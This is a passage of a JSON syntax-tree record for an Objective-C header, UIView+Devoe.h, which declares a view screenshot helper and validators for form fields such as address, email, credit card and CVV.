(BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV", "parent": 17, "children": [19, 142, 143], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 26, "column": 19}}, {"id": 19, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField", "parent": 18, "children": [20, 138, 140, 141], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 25, "column": 45}}, {"id": 20, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate", "parent": 19, "children": [21, 133, 134], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 25, "column": 20}}, {"id": 21, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField", "parent": 20, "children": [22, 129, 131, 132], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 24, "column": 51}}, {"id": 22, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard", "parent": 21, "children": [23, 124, 125], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 24, "column": 26}}, {"id": 23, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField", "parent": 22, "children": [24, 120, 122, 123], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 22, "column": 46}}, {"id": 24, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail", "parent": 23, "children": [25, 115, 116], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 22, "column": 21}}, {"id": 25, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField", "parent": 24, "children": [26, 111, 113, 114], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 21, "column": 46}}, {"id": 26, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone", "parent": 25, "children": [27, 106, 107], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 21, "column": 21}}, {"id": 27, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField", "parent": 26, "children": [28, 102, 104, 105], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 20, "column": 44}}, {"id": 28, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip", "parent": 27, "children": [29, 97, 98], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 20, "column": 19}}, {"id": 29, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField", "parent": 28, "children": [30, 93, 95, 96], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 19, "column": 46}}, {"id": 30, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState", "parent": 29, "children": [31, 88, 89], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 19, "column": 21}}, {"id": 31, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField", "parent": 30, "children": [32, 84, 86, 87], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 18, "column": 45}}, {"id": 32, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity", "parent": 31, "children": [33, 79, 80], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 18, "column": 20}}, {"id": 33, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField", "parent": 32, "children": [34, 75, 77, 78], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 17, "column": 48}}, {"id": 34, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress", "parent": 33, "children": [35, 70, 71], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 17, "column": 23}}, {"id": 35, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField", "parent": 34, "children": [36, 66, 68, 69], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 16, "column": 51}}, {"id": 36, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString", "parent": 35, "children": [37, 61, 62], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 16, "column": 26}}, {"id": 37, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField", "parent": 36, "children": [38, 57, 59, 60], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 15, "column": 54}}, {"id": 38, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength", "parent": 37, "children": [39, 52, 53], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 15, "column": 29}}, {"id": 39, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView", "parent": 38, "children": [40, 48, 50, 51], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 51}}, {"id": 40, "type": "unary_expression", "text": "+ (UIImage *) getScreenShotOfView", "parent": 39, "children": [41, 42], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 33}}, {"id": 41, "type": "+", "text": "+", "parent": 40, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 42, "type": "cast_expression", "text": "(UIImage *) getScreenShotOfView", "parent": 40, "children": [43, 47], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 33}}, {"id": 43, "type": "type_descriptor", "text": "UIImage *", "parent": 42, "children": [44, 45], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 12}}, {"id": 44, "type": "type_identifier", "text": "UIImage", "parent": 43, "children": [], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 10}}, {"id": 45, "type": "abstract_pointer_declarator", "text": "*", "parent": 43, "children": [46], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 12}}, {"id": 46, "type": "*", "text": "*", "parent": 45, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 12}}, {"id": 47, "type": "identifier", "text": "getScreenShotOfView", "parent": 42, "children": [], "start_point": {"row": 13, "column": 14}, "end_point": {"row": 13, "column": 33}}, {"id": 48, "type": "ERROR", "text": ":(UIView", "parent": 39, "children": [49], "start_point": {"row": 13, "column": 33}, "end_point": {"row": 13, "column": 41}}, {"id": 49, "type": "identifier", "text": "UIView", "parent": 48, "children": [], "start_point": {"row": 13, "column": 35}, "end_point": {"row": 13, "column": 41}}, {"id": 50, "type": "*", "text": "*", "parent": 39, "children": [], "start_point": {"row": 13, "column": 42}, "end_point": {"row": 13, "column": 43}}, {"id": 51, "type": "identifier", "text": "theView", "parent": 39, "children": [], "start_point": {"row": 13, "column": 44}, "end_point": {"row": 13, "column": 51}}, {"id": 52, "type": "-", "text": "-", "parent": 38, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}, {"id": 53, "type": "cast_expression", "text": "(BOOL)validateNonZeroLength", "parent": 38, "children": [54, 56], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 29}}, {"id": 54, "type": "type_descriptor", "text": "BOOL", "parent": 53, "children": [55], "start_point": {"row": 15, "column": 3}, "end_point": {"row": 15, "column": 7}}, {"id": 55, "type": "type_identifier", "text": "BOOL", "parent": 54, "children": [], "start_point": {"row": 15, "column": 3}, "end_point": {"row": 15, "column": 7}}, {"id": 56, "type": "identifier", "text": "validateNonZeroLength", "parent": 53, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 29}}, {"id": 57, "type": "ERROR", "text": ":(UITextField", "parent": 37, "children": [58], "start_point": {"row": 15, "column": 29}, "end_point": {"row": 15, "column": 42}}, {"id": 58, "type": "identifier", "text": "UITextField", "parent": 57, "children": [], "start_point": {"row": 15, "column": 31}, "end_point": {"row": 15, "column": 42}}, {"id": 59, "type": "*", "text": "*", "parent": 37, "children": [], "start_point": {"row": 15, "column": 43}, "end_point": {"row": 15, "column": 44}}, {"id": 60, "type": "identifier", "text": "textField", "parent": 37, "children": [], "start_point": {"row": 15, "column": 45}, "end_point": {"row": 15, "column": 54}}, {"id": 61, "type": "-", "text": "-", "parent": 36, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 1}}, {"id": 62, "type": "cast_expression", "text": "(BOOL)validateNameString", "parent": 36, "children": [63, 65], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 16, "column": 26}}, {"id": 63, "type": "type_descriptor", "text": "BOOL", "parent": 62, "children": [64], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 7}}, {"id": 64, "type": "type_identifier", "text": "BOOL", "parent": 63, "children": [], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 7}}, {"id": 65, "type": "identifier", "text": "validateNameString", "parent": 62, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 26}}, {"id": 66, "type": "ERROR", "text": ":(UITextField", "parent": 35, "children": [67], "start_point": {"row": 16, "column": 26}, "end_point": {"row": 16, "column": 39}}, {"id": 67, "type": "identifier", "text": "UITextField", "parent": 66, "children": [], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 39}}, {"id": 68, "type": "*", "text": "*", "parent": 35, "children": [], "start_point": {"row": 16, "column": 40}, "end_point": {"row": 16, "column": 41}}, {"id": 69, "type": "identifier", "text": "textField", "parent": 35, "children": [], "start_point": {"row": 16, "column": 42}, "end_point": {"row": 16, "column": 51}}, {"id": 70, "type": "-", "text": "-", "parent": 34, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 1}}, {"id": 71, "type": "cast_expression", "text": "(BOOL)validateAddress", "parent": 34, "children": [72, 74], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 23}}, {"id": 72, "type": "type_descriptor", "text": "BOOL", "parent": 71, "children": [73], "start_point": {"row": 17, "column": 3}, "end_point": {"row": 17, "column": 7}}, {"id": 73, "type": "type_identifier", "text": "BOOL", "parent": 72, "children": [], "start_point": {"row": 17, "column": 3}, "end_point": {"row": 17, "column": 7}}, {"id": 74, "type": "identifier", "text": "validateAddress", "parent": 71, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 23}}, {"id": 75, "type": "ERROR", "text": ":(UITextField", "parent": 33, "children": [76], "start_point": {"row": 17, "column": 23}, "end_point": {"row": 17, "column": 36}}, {"id": 76, "type": "identifier", "text": "UITextField", "parent": 75, "children": [], "start_point": {"row": 17, "column": 25}, "end_point": {"row": 17, "column": 36}}, {"id": 77, "type": "*", "text": "*", "parent": 33, "children": [], "start_point": {"row": 17, "column": 37}, "end_point": {"row": 17, "column": 38}}, {"id": 78, "type": "identifier", "text": "textField", "parent": 33, "children": [], "start_point": {"row": 17, "column": 39}, "end_point": {"row": 17, "column": 48}}, {"id": 79, "type": "-", "text": "-", "parent": 32, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 80, "type": "cast_expression", "text": "(BOOL)validateCity", "parent": 32, "children": [81, 83], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 18, "column": 20}}, {"id": 81, "type": "type_descriptor", "text": "BOOL", "parent": 80, "children": [82], "start_point": {"row": 18, "column": 3}, "end_point": {"row": 18, "column": 7}}, {"id": 82, "type": "type_identifier", "text": "BOOL", "parent": 81, "children": [], "start_point": {"row": 18, "column": 3}, "end_point": {"row": 18, "column": 7}}, {"id": 83, "type": "identifier", "text": "validateCity", "parent": 80, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 20}}, {"id": 84, "type": "ERROR", "text": ":(UITextField", "parent": 31, "children": [85], "start_point": {"row": 18, "column": 20}, "end_point": {"row": 18, "column": 33}}, {"id": 85, "type": "identifier", "text": "UITextField", "parent": 84, "children": [], "start_point": {"row": 18, "column": 22}, "end_point": {"row": 18, "column": 33}}, {"id": 86, "type": "*", "text": "*", "parent": 31, "children": [], "start_point": {"row": 18, "column": 34}, "end_point": {"row": 18, "column": 35}}, {"id": 87, "type": "identifier", "text": "textField", "parent": 31, "children": [], "start_point": {"row": 18, "column": 36}, "end_point": {"row": 18, "column": 45}}, {"id": 88, "type": "-", "text": "-", "parent": 30, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 1}}, {"id": 89, "type": "cast_expression", "text": "(BOOL)validateState", "parent": 30, "children": [90, 92], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 21}}, {"id": 90, "type": "type_descriptor", "text": "BOOL", "parent": 89, "children": [91], "start_point": {"row": 19, "column": 3}, "end_point": {"row": 19, "column": 7}}, {"id": 91, "type": "type_identifier", "text": "BOOL", "parent": 90, "children": [], "start_point": {"row": 19, "column": 3}, "end_point": {"row": 19, "column": 7}}, {"id": 92, "type": "identifier", "text": "validateState", "parent": 89, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 21}}, {"id": 93, "type": "ERROR", "text": ":(UITextField", "parent": 29, "children": [94], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 34}}, {"id": 94, "type": "identifier", "text": "UITextField", "parent": 93, "children": [], "start_point": {"row": 19, "column": 23}, "end_point": {"row": 19, "column": 34}}, {"id": 95, "type": "*", "text": "*", "parent": 29, "children": [], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 36}}, {"id": 96, "type": "identifier", "text": "textField", "parent": 29, "children": [], "start_point": {"row": 19, "column": 37}, "end_point": {"row": 19, "column": 46}}, {"id": 97, "type": "-", "text": "-", "parent": 28, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 1}}, {"id": 98, "type": "cast_expression", "text": "(BOOL)validateZip", "parent": 28, "children": [99, 101], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 19}}, {"id": 99, "type": "type_descriptor", "text": "BOOL", "parent": 98, "children": [100], "start_point": {"row": 20, "column": 3}, "end_point": {"row": 20, "column": 7}}, {"id": 100, "type": "type_identifier", "text": "BOOL", "parent": 99, "children": [], "start_point": {"row": 20, "column": 3}, "end_point": {"row": 20, "column": 7}}, {"id": 101, "type": "identifier", "text": "validateZip", "parent": 98, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 19}}, {"id": 102, "type": "ERROR", "text": ":(UITextField", "parent": 27, "children": [103], "start_point": {"row": 20, "column": 19}, "end_point": {"row": 20, "column": 32}}, {"id": 103, "type": "identifier", "text": "UITextField", "parent": 102, "children": [], "start_point": {"row": 20, "column": 21}, "end_point": {"row": 20, "column": 32}}, {"id": 104, "type": "*", "text": "*", "parent": 27, "children": [], "start_point": {"row": 20, "column": 33}, "end_point": {"row": 20, "column": 34}}, {"id": 105, "type": "identifier", "text": "textField", "parent": 27, "children": [], "start_point": {"row": 20, "column": 35}, "end_point": {"row": 20, "column": 44}}, {"id": 106, "type": "-", "text": "-", "parent": 26, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 1}}, {"id": 107, "type": "cast_expression", "text": "(BOOL)validatePhone", "parent": 26, "children": [108, 110], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 21}}, {"id": 108, "type": "type_descriptor", "text": "BOOL", "parent": 107, "children": [109], "start_point": {"row": 21, "column": 3}, "end_point": {"row": 21, "column": 7}}, {"id": 109, "type": "type_identifier", "text": "BOOL", "parent": 108, "children": [], "start_point": {"row": 21, "column": 3}, "end_point": {"row": 21, "column": 7}}, {"id": 110, "type": "identifier", "text": "validatePhone", "parent": 107, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 21}}, {"id": 111, "type": "ERROR", "text": ":(UITextField", "parent": 25, "children": [112], "start_point": {"row": 21, "column": 21}, "end_point": {"row": 21, "column": 34}}, {"id": 112, "type": "identifier", "text": "UITextField", "parent": 111, "children": [], "start_point": {"row": 21, "column": 23}, "end_point": {"row": 21, "column": 34}}, {"id": 113, "type": "*", "text": "*", "parent": 25, "children": [], "start_point": {"row": 21, "column": 35}, "end_point": {"row": 21, "column": 36}}, {"id": 114, "type": "identifier", "text": "textField", "parent": 25, "children": [], "start_point": {"row": 21, "column": 37}, "end_point": {"row": 21, "column": 46}}, {"id": 115, "type": "-", "text": "-", "parent": 24, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 1}}, {"id": 116, "type": "cast_expression", "text": "(BOOL)validateEmail", "parent": 24, "children": [117, 119], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 21}}, {"id": 117, "type": "type_descriptor", "text": "BOOL", "parent": 116, "children": [118], "start_point": {"row": 22, "column": 3}, "end_point": {"row": 22, "column": 7}}, {"id": 118, "type": "type_identifier", "text": "BOOL", "parent": 117, "children": [], "start_point": {"row": 22, "column": 3}, "end_point": {"row": 22, "column": 7}}, {"id": 119, "type": "identifier", "text": "validateEmail", "parent": 116, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 21}}, {"id": 120, "type": "ERROR", "text": ":(UITextField", "parent": 23, "children": [121], "start_point": {"row": 22, "column": 21}, "end_point": {"row": 22, "column": 34}}, {"id": 121, "type": "identifier", "text": "UITextField", "parent": 120, "children": [], "start_point": {"row": 22, "column": 23}, "end_point": {"row": 22, "column": 34}}, {"id": 122, "type": "*", "text": "*", "parent": 23, "children": [], "start_point": {"row": 22, "column": 35}, "end_point": {"row": 22, "column": 36}}, {"id": 123, "type": "identifier", "text": "textField", "parent": 23, "children": [], "start_point": {"row": 22, "column": 37}, "end_point": {"row": 22, "column": 46}}, {"id": 124, "type": "-", "text": "-", "parent": 22, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 125, "type": "cast_expression", "text": "(BOOL)validateCreditCard", "parent": 22, "children": [126, 128], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 26}}, {"id": 126, "type": "type_descriptor", "text": "BOOL", "parent": 125, "children": [127], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 7}}, {"id": 127, "type": "type_identifier", "text": "BOOL", "parent": 126, "children": [], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 7}}, {"id": 128, "type": "identifier", "text": "validateCreditCard", "parent": 125, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 26}}, {"id": 129, "type": "ERROR", "text": ":(UITextField", "parent": 21, "children": [130], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 39}}, {"id": 130, "type": "identifier", "text": "UITextField", "parent": 129, "children": [], "start_point": {"row": 24, "column": 28}, "end_point": {"row": 24, "column": 39}}, {"id": 131, "type": "*", "text": "*", "parent": 21, "children": [], "start_point": {"row": 24, "column": 40}, "end_point": {"row": 24, "column": 41}}, {"id": 132, "type": "identifier", "text": "textField", "parent": 21, "children": [], "start_point": {"row": 24, "column": 42}, "end_point": {"row": 24, "column": 51}}, {"id": 133, "type": "-", "text": "-", "parent": 20, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 1}}, {"id": 134, "type": "cast_expression", "text": "(BOOL)validateDate", "parent": 20, "children": [135, 137], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 20}}, {"id": 135, "type": "type_descriptor", "text": "BOOL", "parent": 134, "children": [136], "start_point": {"row": 25, "column": 3}, "end_point": {"row": 25, "column": 7}}, {"id": 136, "type": "type_identifier", "text": "BOOL", "parent": 135, "children": [], "start_point": {"row": 25, "column": 3}, "end_point": {"row": 25, "column": 7}}, {"id": 137, "type": "identifier", "text": "validateDate", "parent": 134, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 20}}, {"id": 138, "type": "ERROR", "text": ":(UITextField", "parent": 19, "children": [139], "start_point": {"row": 25, "column": 20}, "end_point": {"row": 25, "column": 33}}, {"id": 139, "type": "identifier", "text": "UITextField", "parent": 138, "children": [], "start_point": {"row": 25, "column": 22}, "end_point": {"row": 25, "column": 33}}, {"id": 140, "type": "*", "text": "*", "parent": 19, "children": [], "start_point": {"row": 25, "column": 34}, "end_point": {"row": 25, "column": 35}}, {"id": 141, "type": "identifier", "text": "textField", "parent": 19, "children": [], "start_point": {"row": 25, "column": 36}, "end_point": {"row": 25, "column": 45}}, {"id": 142, "type": "-", "text": "-", "parent": 18, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 1}}, {"id": 143, "type": "cast_expression", "text": "(BOOL)validateCVV", "parent": 18, "children": [144, 146], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 19}}, {"id": 144, "type": "type_descriptor", "text": "BOOL", "parent": 143, "children": [145], "start_point": {"row": 26, "column": 3}, "end_point": {"row": 26, "column": 7}}, {"id": 145, "type": "type_identifier", "text": "BOOL", "parent": 144, "children": [], "start_point": {"row": 26, "column": 3}, "end_point": {"row": 26, "column": 7}}, {"id": 146, "type": "identifier", "text": "validateCVV", "parent": 143, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 19}}, {"id": 147, "type": "ERROR", "text": ":(UITextField", "parent": 17, "children": [148], "start_point": {"row": 26, "column": 19}, "end_point": {"row": 26, "column": 32}}, {"id": 148, "type": "identifier", "text": "UITextField", "parent": 147, "children": [], "start_point": {"row": 26, "column": 21}, "end_point": {"row": 26, "column": 32}}, {"id": 149, "type": "*", "text": "*", "parent": 17, "children": [], "start_point": {"row": 26, "column": 33}, "end_point": {"row": 26, "column": 34}}, {"id": 150, "type": "identifier", "text": "textField", "parent": 17, "children": [], "start_point": {"row": 26, "column": 35}, "end_point": {"row": 26, "column": 44}}, {"id": 151, "type": "ERROR", "text": "@", "parent": 16, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 1}}]}, "node_categories": {"declarations": {"functions": [6], "variables": [], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [10, 12, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 42, 53, 62, 71, 80, 89, 98, 107, 116, 125, 134, 143], "assignments": [], "loops": [], "conditionals": [5, 7, 9, 14, 15, 44, 47, 49, 51, 55, 56, 58, 60, 64, 65, 67, 69, 73, 74, 76, 78, 82, 83, 85, 87, 91, 92, 94, 96, 100, 101, 103, 105, 109, 110, 112, 114, 118, 119, 121, 123, 127, 128, 130, 132, 136, 137, 139, 141, 145, 146, 148, 150], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "unknown", "text_snippet": "UIView (Devoe)"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// UIView+Devoe.h\n// LightPhoto\n//\n// Created by <NAME> on 6/6/14.\n// Copyright (c) 2014 <NAME>. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface UIView (Devoe)\n\n+ (id) autolayoutView;\n+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV:(UITextField *)textField;\n\n@end\n"}
81,191
c
